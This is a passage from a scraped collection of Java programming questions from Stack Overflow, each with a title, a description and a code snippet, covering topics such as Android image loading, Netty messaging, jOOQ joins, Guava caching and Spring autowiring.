( ) .getTextBeforeCursor ( chars , 0 ) ; }",How to test InputMethodService +Java,"I am showing a list of contacts in a recyclerview . I am showing contact profile images , first I am loading these images from server and then storing these images in an external memory . Then Loading the images from external storage . I can see the images loaded , but as I scroll I can see some images for a second or two then they get disappear and I can see the default image icon.EDIT : I searched for the same issue with picasso library , when we load images from server , for this I got the solution from SO as : And this worked when I am loading the images from server , but when I am loading the images from the external storage still the problem exists . Can anyone help with this please ? Thank you..","public class ContactAdapter extends RecyclerView.Adapter < ContactAdapter.ContactHolder > { private List < Contact > contactList ; File myDir1 ; private Activity mContext ; private Boolean fileExists ; private File file ; private static final int MY_PERMISSIONS_REQUEST_CALL= 20 ; public ContactAdapter ( Activity context , List < Contact > contactList ) { this.contactList = contactList ; this.mContext = context ; } @ Override public ContactHolder onCreateViewHolder ( ViewGroup viewGroup , int i ) { View v = LayoutInflater.from ( viewGroup.getContext ( ) ) .inflate ( R.layout.item_layout , null ) ; ContactHolder mh = new ContactHolder ( v ) ; return mh ; } @ Override public void onBindViewHolder ( final ContactHolder contactHolder , int i ) { final Contact contact = contactList.get ( i ) ; // Log.e ( `` Imagename '' , '' '' + '' http : //xesoftwares.co.in/contactsapi/profile_images/85368a5bbd6cffba8a3aa202a80563a2.jpg '' ) ; //+feedItem.getThumbnail ( ) ) ; Target target = new Target ( ) { @ Override public void onBitmapLoaded ( Bitmap bitmap , Picasso.LoadedFrom from ) { // your code here ... bitmap = Bitmap.createScaledBitmap ( bitmap , ( int ) ( bitmap.getWidth ( ) *0.8 ) , ( int ) ( bitmap.getHeight ( ) *0.8 ) , true ) ; contactHolder.thumbnail.setImageBitmap ( bitmap ) ; Log.e ( `` ProfileImage '' , contact.getmProfileImage ( ) ) ; SaveImages ( bitmap , contact.getmProfileImage ( ) ) ; } @ Override public void onBitmapFailed ( Drawable errorDrawable ) { contactHolder.thumbnail.setImageDrawable ( errorDrawable ) ; // do error handling as required } @ Override public void onPrepareLoad ( Drawable placeHolderDrawable ) { contactHolder.thumbnail.setImageDrawable ( placeHolderDrawable ) ; } } ; contactHolder.thumbnail.setTag ( target ) ; String url = ServiceUrl.getBaseUrl ( ) + ServiceUrl.getImageUserUrl ( ) + contact.getmProfileImage ( ) ; Log.e ( `` url '' , url ) ; if ( contact.getmProfileImage ( ) .equals ( `` '' ) ) { file = new File ( `` '' ) ; fileExists = file.exists ( ) ; contactHolder.thumbnail.setImageDrawable ( ContextCompat.getDrawable ( mContext , R.drawable.ic_account_circle_black_48dp ) ) ; } else { file = new File ( Environment.getExternalStorageDirectory ( ) + `` /ContactProfileImages/ '' + contact.getmProfileImage ( ) ) ; fileExists = file.exists ( ) ; } if ( fileExists ) { Log.e ( `` fileExists '' , file.getAbsolutePath ( ) ) ; BitmapFactory.Options bmOptions = new BitmapFactory.Options ( ) ; Bitmap bitmap = BitmapFactory.decodeFile ( file.getPath ( ) , bmOptions ) ; contactHolder.thumbnail.setImageBitmap ( bitmap ) ; } else { Log.e ( `` Picasso '' , file.getAbsolutePath ( ) ) ; Picasso.with ( mContext ) .load ( url ) .error ( R.drawable.ic_account_circle_black_24dp ) .placeholder ( R.drawable.ic_account_circle_black_24dp ) .into ( target ) ; } contactHolder.title.setText ( contact.getmUserName ( ) ) ; //feedListRowHolder.genre.setText ( Html.fromHtml ( feedItem.getGenre ( ) ) ) ; } @ Override public int getItemCount ( ) { return ( null ! = contactList ? contactList.size ( ) : 0 ) ; } public void SaveImages ( Bitmap bitmap , String profileName ) { try { String root = Environment.getExternalStorageDirectory ( ) .getPath ( ) ; File myDir = new File ( root + '' /ContactProfileImages '' ) ; if ( ! myDir.exists ( ) ) { myDir.mkdirs ( ) ; } // String name = new Date ( ) .toString ( ) ; = String name = profileName ; File myDir1 = new File ( myDir , name ) ; if ( ! myDir1.exists ( ) ) { FileOutputStream out = new FileOutputStream ( myDir1 ) ; bitmap.compress ( Bitmap.CompressFormat.PNG,100 , out ) ; out.flush ( ) ; out.close ( ) ; } } catch ( Exception e ) { // some action } //myDir1= imageFilePath1.getprofile ( ) ; } public class ContactHolder extends RecyclerView.ViewHolder implements View.OnClickListener { protected CircleImageView thumbnail ; protected TextView title ; public ContactHolder ( View view ) { super ( view ) ; this.thumbnail = ( CircleImageView ) view.findViewById ( R.id.thumbnail ) ; this.title = ( TextView ) view.findViewById ( R.id.title ) ; view.setOnClickListener ( this ) ; } @ Override public void onClick ( View v ) { final Contact contact = contactList.get ( getAdapterPosition ( ) ) ; final Dialog dialog = new Dialog ( mContext ) ; dialog.setCanceledOnTouchOutside ( true ) ; dialog.requestWindowFeature ( Window.FEATURE_NO_TITLE ) ; dialog.setContentView ( R.layout.custom ) ; final Window window = dialog.getWindow ( ) ; WindowManager.LayoutParams wlp =window.getAttributes ( ) ; wlp.gravity = Gravity.CENTER_HORIZONTAL|Gravity.TOP ; wlp.y=320 ; window.setBackgroundDrawable ( new ColorDrawable ( Color.TRANSPARENT ) ) ; window.setAttributes ( wlp ) ; // set the custom dialog components - text , image and button TextView txtusername = ( TextView ) dialog.findViewById ( R.id.txtusername ) ; TextView txtmobile = ( TextView ) dialog.findViewById ( R.id.txtmobile ) ; TextView txtemail = ( TextView ) dialog.findViewById ( R.id.txtemail ) ; txtusername.setText ( contact.getmUserName ( ) ) ; txtemail.setText ( contact.getmEmailId ( ) ) ; txtmobile.setText ( contact.getmMobileNo ( ) ) ; SquareImageView image = ( SquareImageView ) dialog.findViewById ( R.id.image ) ; ImageView image1 = ( ImageView ) dialog.findViewById ( R.id.image1 ) ; ImageView image2 = ( ImageView ) dialog.findViewById ( R.id.image2 ) ; ImageView image3 = ( ImageView ) dialog.findViewById ( R.id.image3 ) ; if ( contact.getmProfileImage ( ) .equals ( `` '' ) ) { image.setImageDrawable ( ContextCompat.getDrawable ( mContext , R.drawable.profile_icon ) ) ; } else { File file = new File ( Environment.getExternalStorageDirectory ( ) + `` /ContactProfileImages/ '' + contact.getmProfileImage ( ) ) ; BitmapFactory.Options bmOptions = new BitmapFactory.Options ( ) ; Bitmap bitmap = BitmapFactory.decodeFile ( file.getPath ( ) , bmOptions ) ; image.setImageBitmap ( bitmap ) ; } image1.setImageResource ( R.drawable.ic_call_black_24dp ) ; image2.setImageResource ( R.drawable.ic_textsms_black_24dp ) ; image3.setImageResource ( R.drawable.ic_email_black_24dp ) ; image2.setOnClickListener ( new View.OnClickListener ( ) { @ Override public void onClick ( View view ) { Uri sms_uri = Uri.parse ( `` smsto : '' + contact.getmMobileNo ( ) ) ; Intent sms_intent = new Intent ( Intent.ACTION_SENDTO , sms_uri ) ; mContext.startActivity ( sms_intent ) ; dialog.dismiss ( ) ; } } ) ; image1.setOnClickListener ( new View.OnClickListener ( ) { @ Override public void onClick ( View view ) { Intent intent = new Intent ( Intent.ACTION_DIAL , Uri.parse ( `` tel : '' + contact.getmMobileNo ( ) ) ) ; intent.addFlags ( Intent.FLAG_ACTIVITY_CLEAR_TASK ) ; mContext.startActivity ( intent ) ; dialog.dismiss ( ) ; } } ) ; image3.setOnClickListener ( new View.OnClickListener ( ) { @ Override public void onClick ( View view ) { Intent email = new Intent ( Intent.ACTION_SEND ) ; email.putExtra ( Intent.EXTRA_EMAIL , new String [ ] { contact.getmEmailId ( ) } ) ; email.setType ( `` message/rfc822 '' ) ; mContext.startActivity ( Intent.createChooser ( email , `` Choose an Email client : '' ) ) ; } } ) ; Button dialogButton = ( Button ) dialog.findViewById ( R.id.dialogButtonOK ) ; // if button is clicked , view all information custom dialog dialogButton.setOnClickListener ( new View.OnClickListener ( ) { @ Override public void onClick ( View view ) { ( ( MainActivity ) mContext ) .finish ( ) ; Intent intent = new Intent ( mContext , DetailViewActivity.class ) ; intent.putExtra ( `` contact '' , contact ) ; intent.addFlags ( Intent.FLAG_ACTIVITY_CLEAR_TASK ) ; intent.addFlags ( Intent.FLAG_ACTIVITY_NO_ANIMATION ) ; mContext.startActivity ( intent ) ; dialog.dismiss ( ) ; } } ) ; dialog.show ( ) ; } } } recyclerView.setHasFixedSize ( true ) ; recyclerView.setItemViewCacheSize ( 20 ) ; recyclerView.setDrawingCacheEnabled ( true ) ; recyclerView.setDrawingCacheQuality ( View.DRAWING_CACHE_QUALITY_HIGH ) ;",Lazy Loading not working properly +Java,"One thing I 've run into a few times is a service class ( like a JBoss service ) that has gotten overly large due to helper inner classes . I 've yet to find a good way to break the class out . These helpers are usually threads . Here 's an example : So , what can happen if I have a couple helpers and they 're at all complex , is the overall class file can get really large . I like the inner classes in that it makes clear the classes are wholly owned by the service and exist only to help that service . I 've tried breaking the classes out and passing the parent service as a reference , which works mostly , but things I do n't like are : I end up exposing package level accessors so the broken out classes can get to the variables , whereas before I did n't expose the setters at all since the inner classes had direct access . Plus , things get a bit more wordy as I 'm constantly calling accessors rather than the underlying variables . A minor nit , granted . Convenience methods ( e.g . checkAssetIsValid ( ) or some such ) need package level exposure now so the helper classes can call them , where as before as inner classes they could be private . Even worse , I need to pass the service implementation class to the helper classes constructors since I do n't want to expose these helpers methods in the interface the service implements because that forces them to be public . This can create some unit test/mocking issues . Worse yet , any synchronization I wanted to do gets leaked out through some external convenience method ( e.g . lockDownAssets ( ) during a poller update ) . Before , the internal classes had access to private Locks.So , in short , breaking the classes out loses some of the encapsulation I like . But leaving them in can lead to some large java files . I 've yet to find a good way to deal with this . C++ had the concept of `` friends '' which I 've rarely missed , but would actually help in this case.Thoughts ?",/** Asset service keeps track of the metadata about assets that live on other * systems . Complications include the fact the assets have a lifecycle and their * physical representation lives on other systems that have to be polled to find * out if the Asset is still there . */public class AssetService { // ... various private variables // ... various methods public AssetService ( ) { Job pollerJob = jobService.schedule ( new AssetPoller ( ) ) ; Job lifeCycleJob = jobService.schedule ( AssetLifecycleMonitor ( ) ) ; } class AssetPoller { public void run ( ) { // contact remote systems and update this service 's private variables that // track the assets . } } class AssetLifecycleMonitor { public void run ( ) { // look for assets that have meet criteria for a lifecycle shift // and update this service 's private variables as relevant . } } },Large Inner classes and private variables +Java,"I am trying to get the LogBack DBAppender to work from a programmatic configuration , but just ca n't seem to get it functioning.Any idea what could be wrong ? I 'm seeing a log in the console made , but nothing goes to the database . Been fighting this one for a while and would appreciate any insight !",LoggerContext lc = ( LoggerContext ) LoggerFactory.getILoggerFactory ( ) ; DBAppender dbAppender = new DBAppender ( ) ; dbAppender.setContext ( lc ) ; DriverManagerConnectionSource connectionSource = new DriverManagerConnectionSource ( ) ; connectionSource.setDriverClass ( `` com.mysql.jdbc.Driver '' ) ; connectionSource.setUrl ( loggingConnectionInfo.getUri ( ) ) ; connectionSource.setUser ( loggingConnectionInfo.getUser ( ) ) ; connectionSource.setPassword ( loggingConnectionInfo.getPassword ( ) ) ; connectionSource.setContext ( lc ) ; connectionSource.start ( ) ; dbAppender.setConnectionSource ( connectionSource ) ; dbAppender.start ( ) ; logger = ( Logger ) LoggerFactory.getLogger ( Logger.ROOT_LOGGER_NAME ) ; logger.setLevel ( Level.DEBUG ) ; logger.addAppender ( dbAppender ) ;,Configuring LogBack DBAppender programmatically +Java,"How to remove ( cut-out ) a transparent rectangle in a Texture , so that the hole will be translucent . On Android I would use the Xfermodes approach : How to use masks in android But in libgdx I will have to use opengl . So far I almost achieved what I was looking for , by using the the glBlendFunc From this nice and very helpful page I learend that should solve my problem , but I tried it out , and it did not quite work as expected : It is just making the mask area plain black , whereas I was expecting transparency , any ideas.This is what I get : This is what I expected :","glBlendFunc ( GL_ZERO , GL_ONE_MINUS_SRC_ALPHA ) ; batch.end ( ) ; batch.begin ( ) ; //Draw the backgroundsuper.draw ( batch , x , y , width , height ) ; batch.setBlendFunction ( GL20.GL_ZERO , GL20.GL_ONE_MINUS_SRC_ALPHA ) ; //draw the maskmask.draw ( batch , x + innerButtonTable.getX ( ) , y + innerButtonTable.getY ( ) , innerButtonTable.getWidth ( ) , innerButtonTable.getHeight ( ) ) ; batch.end ( ) ; batch.setBlendFunction ( GL20.GL_SRC_ALPHA , GL20.GL_ONE_MINUS_SRC_ALPHA ) ; batch.begin ( ) ;",Cut a translucent square in a texture +Java,"I developed an Akka-based server and liked the Microkernel idea . However , when I look at the implementation details using Java and Maven I 'm trading in a simple Java main startup class for a framework specific solution that promises I do n't need to write start up scripts and at the end I find it needs : Akka installed ( I could otherwise work without Akka installed only using the libraries ) I need two additional Maven related changes and an additional assembly artifact I also need a `` start '' script so what 's the point ? Maybe I am missing something ? but I do n't see any simpler setup or advantage compared to a plain old Java main solution.UPDATE : thinking a bit more after getting the answer . There is possibly still a good case for writing your main class in terms of a Microkernel so that it could be started via the Akka console in the future e.g .","public class MapReduceServer implements Bootable { // -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- - // public // -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- - /** * Default constructor simply initializes the system . */ public MapReduceServer ( ) { system = ActorSystem.create ( `` MapReduceApp '' , ConfigFactory . load ( ) .getConfig ( `` MapReduceApp '' ) ) ; } // -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- - /** * { @ inheritDoc } */ @ Override public void startup ( ) { // create the list of reduce Actors ActorRef reduceActor = system.actorOf ( Props.create ( ReduceActor.class ) .withRouter ( new FromConfig ( ) ) , `` reduceActor '' ) ; // create the list of map Actors ActorRef mapActor = system.actorOf ( Props.create ( MapActor.class , reduceActor ) . withRouter ( new FromConfig ( ) ) , `` mapActor '' ) ; // create the overall Master Actor that acts as the remote actor for clients @ SuppressWarnings ( `` unused '' ) ActorRef masterActor = system.actorOf ( Props.create ( MapReduceMasterActor.class , mapActor ) , `` masterActor '' ) ; } // -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- - /** * { @ inheritDoc } */ @ Override public void shutdown ( ) { system.shutdown ( ) ; } // -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- - /** * Main method * * @ param args */ public static void main ( String [ ] args ) { MapReduceServer mapReduceServer = null ; LOGGER.info ( `` starting ... '' ) ; mapReduceServer = new MapReduceServer ( ) ; mapReduceServer.startup ( ) ; LOGGER.info ( `` done '' ) ; }",what 's the point of the Akka Microkernel using Java and Maven ? +Java,In my GWT Application I 'm often refering several times to the same server results . I also do n't know which code is executed first . I therefore want to use caching of my asynchronous ( client-side ) results.I want to use an existing caching library ; I 'm considering guava-gwt.I found this example of a Guava synchronous cache ( in guava 's documentation ) : This is how I 'm trying to use a Guava cache asynchronously ( I have no clue about how to make this work ) : GWT is missing many classes from the default JRE ( especially concerning threads and concurrancy ) .How can I use guava-gwt to cache asynchronous results ?,"LoadingCache < Key , Graph > graphs = CacheBuilder.newBuilder ( ) .build ( new CacheLoader < Key , Graph > ( ) { public Graph load ( Key key ) throws AnyException { return createExpensiveGraph ( key ) ; } } ) ; LoadingCache < Key , Graph > graphs = CacheBuilder.newBuilder ( ) .build ( new CacheLoader < Key , Graph > ( ) { public Graph load ( Key key ) throws AnyException { // I want to do something asynchronous here , I can not use Thread.sleep in the browser/JavaScript environment . service.createExpensiveGraph ( key , new AsyncCallback < Graph > ( ) { public void onFailure ( Throwable caught ) { // how to tell the cache about the failure ? ? ? } public void onSuccess ( Graph result ) { // how to fill the cache with that result ? ? ? } } ) ; return // I can not provide any result yet . What can I return ? ? ? } } ) ;",How to cache server results in GWT with guava ? +Java,"A companion object for a trait in Scala has no visibility problems in Scala : However on Java side ( e.g . gets the above in a jar ) , a ProtocolPacket.getStreamType is not visible . In fact a ( decompiled by IDEA ) source does not have a getStreamType method defined for a ProtocolPacketEDIT : I found similar hits on SO regarding Companion $ MODULE $ , but was tricked by IDEA : ) as shown below : The above compiles and runs fine ( shell and/or IDEA itself ) , in case anybody else gets trapped .",trait ProtocolPacket extends Serializable { def toByteArray : Array [ Byte ] } object ProtocolPacket { def getStreamType ( streamBytes : Array [ Byte ] ) = { // ... } },Scala : Trait Companion Object is not visible in Java +Java,"In this code , after executing Iterators.size ( keys ) , the iterator is becoming empty and for the second print statement , it returning 0.The size ( ) method is under the package com.google.common.collect.iterators.So I 've looked the code of Iterators.size ( ) function.It was , So I have a doubt that how the iterator keys becomes empty . whether it is called by reference ? Can anyone explain what 's happening inside size ( ) function","public static void main ( String args [ ] ) throws JSONException { JSONObject json = new JSONObject ( ) ; json.put ( `` name '' , `` abcgdj '' ) ; json.put ( `` no '' , `` 1234 '' ) ; json.put ( `` contact '' , `` 6748356 '' ) ; Iterator < ? > keys = json.keys ( ) ; System.err.println ( Iterators.size ( keys ) ) ; System.err.println ( Iterators.size ( keys ) ) ; } public static int size ( Iterator < ? > iterator ) { long count = 0L ; while ( iterator.hasNext ( ) ) { iterator.next ( ) ; count++ ; } return Ints.saturatedCast ( count ) ; }",Why Iterators.size ( ) making the iterator empty ? +Java,"I am developing a client and server communication system using Netty NIO in Java . My code can be found in the following repository . Currently I am having one server and two clients and I am sending information from server to the clients and the opposite.What I am trying to figure out , when I am receiving a message form the first client to the server , how can i send that message to the second client ( and the opposite from client 2 to client 1 ) . How can I send a message to a specific client ? I have noticed that my issues arised because of the way that I am trying to send the messages from the server . My code in serverHandler is the following : By default am sending a message about the number of the connections , but also when I am receiving message from the client 1 or 2 I want to send it back to 2 and 1 . So I want to perform the communication between the two components . How can I send from the server to a specific client ? I am not sure how can I send the messages back to the clients .",for ( Channel ch : channels1 ) { responseData.setIntValue ( channels1.size ( ) ) ; remoteAddr.add ( ch.remoteAddress ( ) .toString ( ) ) ; future = ch.writeAndFlush ( responseData ) ; //future.addListener ( ChannelFutureListener.CLOSE ) ; System.out.println ( `` the requested data from the clients are : `` +requestData ) ; responseData1.setStringValue ( requestData.toString ( ) ) ; future = ch.writeAndFlush ( responseData1 ) ; System.out.println ( future ) ; },Netty NIO : Read received messages +Java,"Java is totally compatible with IEEE 754 right ? But I 'm confused about how java decide the sign of float point addition and substraction . Here is my test result:I think in the multiplication and division , the sign is decided like : sign ( a ) xor sign ( b ) , but I wonder why 0.0 + -0.0 = 0.0 , how does Java decide the sign in addition and substraction ? Is it described in IEEE 754 ? Also I found Java can somehow distinguish the similarities between 0.0 and -0.0 , sinceHow does `` == '' in java works ? Is it treated as a special case ?",double a = -1.5 ; double b = 0.0 ; double c = -0.0 ; System.out.println ( b * a ) ; //-0.0System.out.println ( c * a ) ; //0.0System.out.println ( b + b ) ; //0.0System.out.println ( c + b ) ; //0.0System.out.println ( b + c ) ; //0.0System.out.println ( b - c ) ; //0.0System.out.println ( c - b ) ; //-0.0System.out.println ( c + c ) ; //-0.0 System.out.println ( c == b ) ; //trueSystem.out.println ( b == c ) ; //true,0.0 and -0.0 in Java ( IEEE 754 ) +Java,"I am trying out JOOQ and trying to select from 3 tables ( Author , Books and Articles ) using a join statement . The ERD is as follows : The query I have is the following : I also have a protobuf object as follows : ( or any other pojo for that matter ) which will hold all the entities ( author details + list of books + list of articles ) into one object . My question is , is there some way to map out of the box all three tables into one object using JOOQ.Thanks in advance .","Author -- -- < Books | | ^Articles final List < Tuple3 < AuthorRecord , BooksRecord , ArticlesRecord > > tupleList = persistenceContext.getDslContext ( ) .select ( ) .from ( Author.AUTHOR ) .join ( Books.BOOKS ) .on ( Author.AUTHOR.ID.eq ( Books.BOOKS.AUTHOR_ID ) ) .join ( Articles.ARTICLES ) .on ( Author.AUTHOR.ID.eq ( Articles.ARTICLES.AUTHOR_ID ) ) .where ( Author.AUTHOR.ID.eq ( id ) ) .fetch ( ) .map ( r - > Tuple.tuple ( r.into ( Author.AUTHOR ) .into ( AuthorRecord.class ) , r.into ( Books.BOOKS ) .into ( BooksRecord.class ) , r.into ( Articles.ARTICLES ) .into ( ArticlesRecord.class ) ) ) ; message Author { int64 id = 1 ; string name = 2 ; repeated string books = 3 ; repeated string articles = 4 ; }",One-to-many select in Jooq +Java,"I have an Android app that has Google Maps V2 as part of functionality.I havein my manifest , and everything else needed for maps to work.My app starts not on the screen with maps.Now the question is why does my phone ( Galaxy Nexus , just in case ) starts showing GPS icon in status bar right when app starts , but not when I get to the screen with maps and start to work with it ? I do n't need to track my location and use battery power when I 'm not on maps screen.For example What 's App messenger also uses GPS for its map but the icon is showed only when you open the map screen , not right on the first activity that is launched.Googled for couple of hours but found nothing at all.Any help will be appreciated ! Edited : MapActivity class","< uses-permission android : name= '' android.permission.ACCESS_FINE_LOCATION '' / > < uses-permission android : name= '' android.permission.ACCESS_COARSE_LOCATION '' / > private LocationListener mLocationListener = new LocationListener ( ) { @ Override public void onLocationChanged ( Location location ) { } @ Override public void onStatusChanged ( String provider , int status , Bundle extras ) { } @ Override public void onProviderEnabled ( String provider ) { } @ Override public void onProviderDisabled ( String provider ) { } } ; @ Overridepublic void onCreate ( Bundle savedState ) { super.onCreate ( savedState ) ; setContentView ( R.layout.map_activity ) ; startGPS ( ) ; initMap ( ) ; mMapView = ( MapView ) findViewById ( R.id.map_google_map ) ; mMapView.onCreate ( null ) ; mGoogleMap = mMapView.getMap ( ) ; if ( mGoogleMap ! = null ) { customizeGoogleMap ( ) ; loadAndFillMap ( ) ; } } private void startGPS ( ) { mLocationManager = ( LocationManager ) getSystemService ( Context.LOCATION_SERVICE ) ; mLocationManager.requestLocationUpdates ( LocationManager.GPS_PROVIDER , 0 , 0 , mLocationListener ) ; } private void initMap ( ) { try { MapsInitializer.initialize ( this ) ; } catch ( GooglePlayServicesNotAvailableException e ) { e.printStackTrace ( ) ; } } private void customizeGoogleMap ( ) { mGoogleMap.getUiSettings ( ) .setMyLocationButtonEnabled ( true ) ; mGoogleMap.setMyLocationEnabled ( true ) ; } private void loadAndFillMap ( ) { new LoadAndFillMapTask ( ) .execute ( ) ; } private class LoadAndFillMapTask extends AsyncTask < Void , Void , Void > { @ Override protected Void doInBackground ( Void ... params ) { String address = Session.appData ( ) .getSelectedAddress ( ) ; mMapLocation = Api.getMapApi ( ) .getMapLocation ( address ) ; return null ; } @ Override protected void onPostExecute ( Void aVoid ) { fillMap ( ) ; } } private void fillMap ( ) { // filling Google Map with markers etc . } @ Overridepublic void onDestroy ( ) { super.onDestroy ( ) ; if ( mMapView ! = null ) { mMapView.onDestroy ( ) ; } mLocationManager.removeUpdates ( mLocationListener ) ; }","App starts searching for GPS right on app start , not when needed" +Java,"I want to use a method reference based off another method reference . It 's kind of hard to explain , so I 'll give you an example : Person.javaGiven a list of Persons , I want to use method references to get a list of their sibling 's ages . I know this can be done like this : But I 'm wondering if it 's possible to do it more like this : It 's not terribly useful in this example , I just want to know what 's possible .",public class Person { Person sibling ; int age ; public Person ( int age ) { this.age = age ; } public void setSibling ( Person p ) { this.sibling = p ; } public Person getSibling ( ) { return sibling ; } public int getAge ( ) { return age ; } } roster.stream ( ) .map ( p - > p.getSibling ( ) .getAge ( ) ) .collect ( Collectors.toList ( ) ) ; roster.stream ( ) .map ( Person : :getSibling : :getAge ) .collect ( Collectors.toList ( ) ) ;,java8 : method reference from another method reference +Java,I understand the syntax of the Java8 lambda expressions but why does the following code work without a specific type declaration of x ? Why is `` baz '' being printed ?,public class LambdaExpressions { interface Foo { void bar ( Object o ) ; } static void doo ( Foo f ) { f.bar ( `` baz '' ) ; } public static void main ( String [ ] args ) { doo ( x - > { System.out.println ( x ) ; } ) ; } },Lambda Expression without types +Java,"[ Check the bottom of the question for updates ] As in the title , I 'd like to write a class which takes in a method and executes it in a new Thread . I lurked around SO and came up with something like : However Eclipse warns me that , inside the constructor , inI can not convert from Callable < T > to Callable < T > .It smells like I 'm doing something entirely wrong , but I ca n't grasp it.UPDATETurns out I was reinventing the wheel , what I wanted to do can be attained like this : In the main flow a method can be executed in a new thread like this :","import java.util.concurrent.Callable ; public class MyExecutor < T > implements Runnable { private Callable < T > method ; public < T > MyExecutor ( Callable < T > pMethod ) { this.method = pMethod ; } @ Override public void run ( ) { try { // start a new Thread , then method.call ( ) ; } catch ( Exception e ) { System.err.println ( `` Failed calling method `` +method.getClass ( ) ) ; e.printStackTrace ( ) ; } } } this.method = pMethod ; public class MyExecutor implements Executor { @ Override public void execute ( Runnable command ) { new Thread ( command ) .start ( ) ; } } MyExecutor myExec = new MyExecutor ( ) ; myExec.execute ( new Runnable ( ) { @ Override public void run ( ) { myMethod ( ) ; } } ) ;",Java - Pass a method to a class and execute it in a new Thread +Java,"This question nags me for a while but I did not found complete answer to it yet ( e.g . this one is for C # Initializing disposable resources outside or inside try/finally ) .Consider two following Java code fragments : and second variationThe part that worries me is that the thread might be somewhat interrupted between the moment resource is acquired ( e.g . file is opened ) but resulting value is not assigned to respective local variable . Is there any other scenarios the thread might be interrupted in the point above other than : InterruptedException ( e.g . via Thread # interrupt ( ) ) or OutOfMemoryError exception is thrownJVM exits ( e.g . via kill , System.exit ( ) ) Hardware fail ( or bug in JVM for complete list : ) I have read that second approach is somewhat more `` idiomatic '' but IMO in the scenario above there 's no difference and in all other scenarios they are equal.So the question : What are the differences between the two ? Which should I prefer if I do concerned about freeing resources ( especially in heavily multi-threading applications ) ? Why ? I would appreciate if anyone points me to parts of Java/JVM specs that support the answers .",Closeable in = new FileInputStream ( `` data.txt '' ) ; try { doSomething ( in ) ; } finally { in.close ( ) ; } Closeable in = null ; try { in = new FileInputStream ( `` data.txt '' ) ; doSomething ( in ) ; } finally { if ( null ! = in ) in.close ( ) ; },Java try finally variations +Java,"Taking as reference the post Spring @ Autowired and @ QualifierWe have this example to fix the autowiring conflict : There are two beans , Car and Bike implements Vehicle interface.That 's a very good example to fix this problem.But when I have the same problem but without those balises in the application context : All the issues are solved by using the @ Qualifier annotation , but in my case we do n't use the balise that permit to use annotation.The question is : How can I fix this issue just using the configuration in application context , that 's it , without using annotations ? I searched a lot and I found people talking about autowire attribute in the bean declaration < bean id= '' dao '' class= '' package.IDao '' autowire= '' byName '' > < /bean > and I need more explanation about it .",public interface Vehicle { public void start ( ) ; public void stop ( ) ; } @ Component ( value= '' car '' ) public class Car implements Vehicle { @ Override public void start ( ) { System.out.println ( `` Car started '' ) ; } @ Override public void stop ( ) { System.out.println ( `` Car stopped '' ) ; } } @ Component ( value= '' bike '' ) public class Bike implements Vehicle { @ Override public void start ( ) { System.out.println ( `` Bike started '' ) ; } @ Override public void stop ( ) { System.out.println ( `` Bike stopped '' ) ; } } @ Componentpublic class VehicleService { @ Autowired @ Qualifier ( `` bike '' ) private Vehicle vehicle ; public void service ( ) { vehicle.start ( ) ; vehicle.stop ( ) ; } } < context : component-scan > < /context : component-scan > < context : annotation-config > < /context : annotation-config >,Autowiring conflict in spring core with the xml configuration +Java,"We have an app running on App Engine and using Spring framework . Recently we have added some new features that are based on AOP . We decided to use @ AspectJ style hence we added < aop : aspectj-autoproxy > into our XML based configuration and implemented respective aspects . Everything is working OK on development server , however , when deployed to the cloud environment we get java.lang.StackOverflowError every time the app is being initialized.The bean that can not be created and causes the error is configuration class annotated with @ Configuration annotation . It seems that basically any configuration bean can cause the error.Below you can see the corresponding stack trace.Update : I put the issue into the App Engine issue tracker along with the sample app that demonstrates the problem . Please follow the link to see details .",org.springframework.web.context.ContextLoader initWebApplicationContext : Context initialization failedorg.springframework.beans.factory.BeanCreationException : Error creating bean with name 'objectifyConfig ' defined in URL [ jar : file : /base/data/home/apps/ { app-id } /8.372375422460842231/WEB-INF/lib/ { app-name } -1.0-SNAPSHOT.jar ! / { path-to-class } /ObjectifyConfig.class ] : Initialization of bean failed ; nested exception is java.lang.StackOverflowErrorat org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.doCreateBean ( AbstractAutowireCapableBeanFactory.java:529 ) at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.createBean ( AbstractAutowireCapableBeanFactory.java:458 ) at org.springframework.beans.factory.support.AbstractBeanFactory $ 1.getObject ( AbstractBeanFactory.java:296 ) at org.springframework.beans.factory.support.DefaultSingletonBeanRegistry.getSingleton ( DefaultSingletonBeanRegistry.java:223 ) at org.springframework.beans.factory.support.AbstractBeanFactory.doGetBean ( AbstractBeanFactory.java:293 ) at org.springframework.beans.factory.support.AbstractBeanFactory.getBean ( AbstractBeanFactory.java:194 ) at org.springframework.beans.factory.support.DefaultListableBeanFactory.preInstantiateSingletons ( DefaultListableBeanFactory.java:628 ) at org.springframework.context.support.AbstractApplicationContext.finishBeanFactoryInitialization ( AbstractApplicationContext.java:932 ) at org.springframework.context.support.AbstractApplicationContext.refresh ( AbstractApplicationContext.java:479 ) at org.springframework.web.context.ContextLoader.configureAndRefreshWebApplicationContext ( ContextLoader.java:389 ) at org.springframework.web.context.ContextLoader.initWebApplicationContext ( ContextLoader.java:294 ) at org.springframework.web.context.ContextLoaderListener.contextInitialized ( ContextLoaderListener.java:112 ) at org.mortbay.jetty.handler.ContextHandler.startContext ( ContextHandler.java:548 ) at org.mortbay.jetty.servlet.Context.startContext ( Context.java:136 ) at org.mortbay.jetty.webapp.WebAppContext.startContext ( WebAppContext.java:1250 ) at org.mortbay.jetty.handler.ContextHandler.doStart ( ContextHandler.java:517 ) at org.mortbay.jetty.webapp.WebAppContext.doStart ( WebAppContext.java:467 ) at org.mortbay.component.AbstractLifeCycle.start ( AbstractLifeCycle.java:50 ) at com.google.apphosting.runtime.jetty.AppVersionHandlerMap.createHandler ( AppVersionHandlerMap.java:219 ) at com.google.apphosting.runtime.jetty.AppVersionHandlerMap.getHandler ( AppVersionHandlerMap.java:194 ) at com.google.apphosting.runtime.jetty.JettyServletEngineAdapter.serviceRequest ( JettyServletEngineAdapter.java:134 ) at com.google.apphosting.runtime.JavaRuntime $ RequestRunnable.run ( JavaRuntime.java:446 ) at com.google.tracing.TraceContext $ 